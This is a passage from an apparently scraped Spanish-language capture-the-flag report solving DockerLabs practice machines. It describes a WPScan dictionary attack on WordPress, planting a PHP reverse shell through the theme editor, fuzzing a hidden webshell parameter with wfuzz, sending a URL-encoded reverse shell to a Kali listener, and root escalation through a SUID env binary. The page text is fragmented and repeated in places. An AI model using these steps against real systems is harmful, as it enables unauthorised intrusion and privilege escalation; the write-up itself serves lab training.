diccionario a la página de acceso de Wordpress. Con el comando “wpscan –url
172.17.0.2/wordpress/ -U mario -P /home/kali/lists/rockyou.txt” realizamos el
ataque.
5.7.5 Ataque de diccionario a Wordpress.
El ataque ha tenido éxito, logrando sacar un par de credenciales válidas.
Accedemos a la página de administrador de Wordpress desde
“172.17.0.2/wordpress/wp-admin” con las credenciales recién obtenidas
“mario:love”. Una vez dentro accedemos al cuadro “apariencia” y a continuación
“Theme Code Editor”. Desde aquí podremos utilizar un editor de temas para
configurar la apariencia del blog (supuestamente). Lo que ocurre es que tenemos
acceso directo al código de la página web, por lo que crearemos y subiremos al
servidor web una shell inversa. En la pestaña derecha hacemos click sobre el

cuadro “Create” e indicamos el nombre que queramos poner al nuevo archivo que
se utilizará como “tapiz” para la página.
5.7.6 Nombre y ruta de nuestra reverse shell.
Una vez creado el archivo en el servidor lo seleccionamos en la columna de la
derecha, donde encontraremos otros archivos agrupados en “Theme Files”. En la
terminal pegamos el contenido de nuestra shell inversa en “.php”, indicando la
dirección IP local (10.0.2.25) y el puerto para la conexión (1234).
5.7.7 Editor de código del tema en Wordpress.
Una vez pegado el código para la reverse shell hacemos click en “Update File”.
Esto guardará el código, permitiéndonos ejecutar el archivo. Abrimos un canal de
escucha con Netcat en nuestra máquina local Kali con el comando “nc -lvnp 1234”
y desde el navegador accedemos al archivo que ejecutará la shell inversa en
“172.17.0.2/wordpress/wp-content/themes/twentytwentytwo/exploit.php”.

5.7.8 Reverse shell y tratamiento de TTY.
Logramos establecer conexión con el sistema objetivo, obteniendo una shell desde
el usuario “www-data”. Realizamos el tratamiento de TTY con los siguientes
comandos:
^Z
stty raw -echo;fg
reset xterm
export TERM=xterm SHELL=bash
El siguiente paso a realizar será buscar comandos y binarios a ejecutar con
permisos de administrador, a través del comando “sudo -l”. Sin embargo el
comando “sudo” no existe en el sistema. Un tanto extraño. La siguiente búsqueda a
realizar será en busca de archivos o programas pertenecientes al usuario actual.
Realizamos la búsqueda con el comando “find / -perm -4000 2>/dev/null”. Nos
muestra lo siguiente:

5.7.9 Escalada de privilegios a root.
Encontramos en la última línea del resultado el binario “/usr/bin/env”. Se trata de un
comando utilizado tanto para mostrar variables de entorno en un sistema como para
ejecutar comandos en entornos modificados, estableciendo nuevas variables
temporales para la ejecución de los comandos indicados. Visitamos GTFOBins en
busca del comando adecuado para abrir una shell como superusuario. Ejecutando el
comando “/usr/bin/env /bin/sh -p” ejecutaremos una shell y con el parámetro “-p”
proporcionaremos a la shell acceso a todas las variables de entorno actuales. Con
esto damos por finalizada la penúltima máquina “Fácil” de Dockerlabs.
5.8 WhereIsMyWebshell
Arrancamos la octava y última máquina vulnerable clasificada como “Fácil”
disponible en la plataforma Dockerlabs (en el momento de la descarga). Iniciamos el
contenedor de Docker con el comando “bash auto_deploy
whereismywebshell.php”. Una vez encendida se le otorgará la dirección IP
172.17.0.2. Lanzamos un escaneo de puertos y servicios con Nmap con el comando

“nmap -sS -sV -sC -Pn -p- -n --min-rate=10000 -vvv 172.17.0.2”. Este es el
resultado.
El resultado tan solo muestra un puerto abierto y disponible, el puerto 80.

Procedemos a realizar una enumeración de directorios con Gobuster en busca de
archivos y directorios ocultos a primera vista. El comando utilizado es el siguiente:
gobuster dir -w /home/kali/lists/directory-list-2.3-medium.txt -u
http://172.17.0.2/ -x jpg,html,php,txt.
La enumeración de directorios presenta una diversidad de resultados. En primer
lugar tenemos la página principal, en “/index.html”, seguido de un archivo a primera
vista importante “/shell.php”. Por último encontramos otra página llamada
“/warning.html”, la cual inspeccionaremos también a continuación. Realizamos una
consulta cURL a la página principal en busca de información útil con el comando
“curl 172.17.0.2/index.html”

Al final de la página principal encontramos un mensaje indicando un secreto
almacenado en el directorio “/tmp”. Esto nos dará un punto de partida cuando
logremos obtener una shell en el sistema. A continuación consultamos con “curl
172.17.0.2/warning.html” el siguiente archivo del servidor.
5.8.4 Contenido de /warning.html.
El sitio web nos habla de un reciente ataque por otro hacker, indicando que existe
una webshell en el servidor cuyo parámetro es desconocido. Tenemos todas las
piezas del puzzle. El siguiente archivo a analizar será “/shell.php”, y el mensaje del
anterior sitio web habla de una webshell, por lo que el siguiente paso a realizar será
un web fuzzing con la herramienta wFUZZ. El ataque consistirá en usar un
diccionario para probar distintos parámetros de uso para el archivo “/shell.php”,
buscando el adecuado para establecer posteriormente una shell inversa con nuestra
máquina Kali. Utilizaremos el siguiente comando: wfuzz -c -u
http://172.17.0.2/shell.php?FUZZ=id -w
/home/kali/lists/directory-list-2.3-medium.txt --hw 0 -t 200”. Con los parámetros
“--hw 0” y “-t 200” agilizaremos el proceso excluyendo los resultados fallidos y
aumentando el número de conexiones simultáneas, respectivamente. Aquí tenemos
el resultado tras unos minutos de búsqueda:

5.8.5 Web Fuzzing con wFUZZ.
Descubrimos el parámetro “parameter” como válido tras 115401 intentos. Lo que
haremos a continuación será abrir un canal de escucha con Netcat en nuestra
máquina local Kali con el comando “nc -lvnp 1234”. Una vez abierto el canal
buscaremos el comando a ejecutar desde la webshell para establecer la conexión
con nuestro Kali. Accedemos a RevShells y generamos nuestro código del siguiente
modo:
5.8.6 Código para iniciar la shell inversa desde la webshell.
El siguiente paso a realizar, para asegurar un poco más el proceso será codificar el
código para poder ejecutarlo a través de la webshell, es decir, utilizar el URL
encode. Existen varias herramientas online aunque en este caso yo utilicé esta. Al
no funcionar en primer lugar el código, añadí “bash -c “código”” para que se
ejecutara el mismo a través de la webshell.

5.8.7 Codificación en URL del código de la reverse shell.
Para establecer la conexión y lograr así una shell inversa ejecutamos el código
recién encriptado bien desde el navegador, bien a través del comando “curl
http://172.17.0.2/shell.php?parameter=código_encriptado”. Lanzamos la reverse
shell y al obtenerla realizamos el tratamiento de TTY ejecutando el siguiente código:
^Z
stty raw -echo;fg
reset xterm
import TERM=xterm SHELL=bash.
5.8.8 Reverse shell y tratamiento de TTY.
Una vez obtenida la shell y realizado el tratamiento de TTY procedemos a investigar
el directorio “/tmp”. Recordemos que en el análisis previo de la página web alojada
descubrimos un mensaje indicando la presencia de un “secreto” en el directorio

“/tmp”. Con un simple “ls -l” no logramos ver nada, por lo que recurrí al comando
“find /tmp” para mostrar todo el contenido del directorio indicado.
5.8.9 Find /tmp y escalada de privilegios.
Descubrimos en el directorio un archivo con nombre “.secret.txt”. Lo abrimos con
“cat” y obtenemos la contraseña del usuario “root”. Con “su root” accedemos al
usuario, dando por terminada la máquina y la práctica.

DOCKERLABS

Cargado por

Copyright:

Formatos disponibles

DOCKERLABS

Cargado por

Información del documento

Derechos de autor

Formatos disponibles

Compartir este documento

Compartir o incrustar documentos

Opciones para compartir

¿Le pareció útil este documento?

¿Este contenido es inapropiado?

Copyright:

Formatos disponibles

DOCKERLABS

Cargado por

Copyright:

Formatos disponibles

DOCKERLABS

Juan García Álvarez | UmaWare

DockerLabs © 2024 by Juan García Álvarez is licensed under CC BY-NC 4.0

máquinas vulnerables volvemos a los informes de prácticas. En el día de hoy

traemos una serie de máquinas vulnerables de una nueva plataforma, DockerLabs,

creada recientemente por los compañeros de oficio Mario Álvarez Fernández y

Más adelante explicaremos qué es Docker, así como su funcionamiento y aplicación

para nuestras prácticas.

En este informe se redactará la resolución de las siguientes máquinas: En primer

y Vacaciones. En segundo y último lugar las 9 máquinas clasificadas como

“Fáciles” en la plataforma, como son Amor, Anonymouspingu, Capypenguin,

Chocolatelovers, Move, Pn, Walkingcms y Whereismywebshell.

2. Técnicas y herramientas utilizadas

● Escaneo de puertos y servicios - Nmap

● Análisis y explotación de vulnerabilidades - Searchsploit, ExploitDB,

Metasploit Framework, WPScan, GTFObins

● Enumeración de directorios web - Gobuster

● Consultas HTTP y análisis web - Curl, Whatweb

● Ataques de diccionario y fuerza bruta - Hydra, WPScan

DockerLabs © 2024 by Juan García Álvarez is licensed under CC BY-NC 4.0

● Codificación en Base64, URL

● Uso de bases de datos MySQL

● Uso general de binarios UNIX

3. Docker y entorno de trabajo

compartir información. Es por ello que comenzaremos hablando de un término

nuevo como es Docker. Docker es un proyecto informático de código abierto

compuesto por tres partes principales: el software Docker, la comunidad open

comunidad se encargan de mejorar y actualizar el producto (software) de manera

constante. Actualmente nuestro interés se centrará en el propio software y en su

máquinas vulnerables ofrecidas en esta nueva plataforma.

funciones de kernel como cgroups, que permite limitar, contabilizar o priorizar el

del kernel de Linux utilizada por Docker es namespaces, la cual proporciona un

DockerLabs © 2024 by Juan García Álvarez is licensed under CC BY-NC 4.0

archivos, procesos, usuarios y dispositivos de red.

El funcionamiento resulta sencillo de entender: En primer lugar se ejecuta docker en

cgroups mencionada anteriormente. A continuación Docker crea namespaces para

procesos del contenedor de Docker también se ejecutarán en su propio espacio de

nombres de proceso, aislados de otros procesos del sistema.

Para hacer uso de la herramienta Docker debemos instalarla en nuestra máquina

podremos descargar las máquinas vulnerables de la web Dockerlabs desde la

propia máquina Kali, o bien si usamos un Kali virtualizado (como es mi caso)

equipo local y Kali desde VirtualBox.

Para iniciar el contenedor con la máquina vulnerable accedemos a la carpeta y

ejecutamos el comando “bash auto_deploy.sh maquinavulnerable.tar”, teniendo

cada máquina un par de archivos ejecutables. Tras ejecutar el comando se creará el

contenedor con el laboratorio temporal. En pantalla se mostrará la dirección IP de la

máquina objetivo. Lo veremos más adelante, en el siguiente punto.

DockerLabs © 2024 by Juan García Álvarez is licensed under CC BY-NC 4.0

Arrancamos la primera máquina vulnerable de la práctica accediendo al directorio

correspondiente y ejecutando un comando “bash” seguido de los dos archivos

existentes en la carpeta. Esto creará el contenedor con el equipo virtual que

de la misma. Ejecutamos el comando “bash auto_deploy.sh firsthacking.tar” y

4.1.1 Arranque de la máquina a través de Docker.

Una vez creada y funcional comprobamos que la dirección IP es 172.17.0.2. Como

provenientes de la plataforma Dockerlabs).

Una vez identificada la máquina objetivo realizaremos un escaneo de puertos y

servicios con Nmap, como es costumbre. Buscaremos posibles vectores de ataque

DockerLabs © 2024 by Juan García Álvarez is licensed under CC BY-NC 4.0

acceder al usuario root o administrador. El comando a ejecutar será el mismo que

172.17.0.2. Recordemos brevemente que con este comando realizaremos un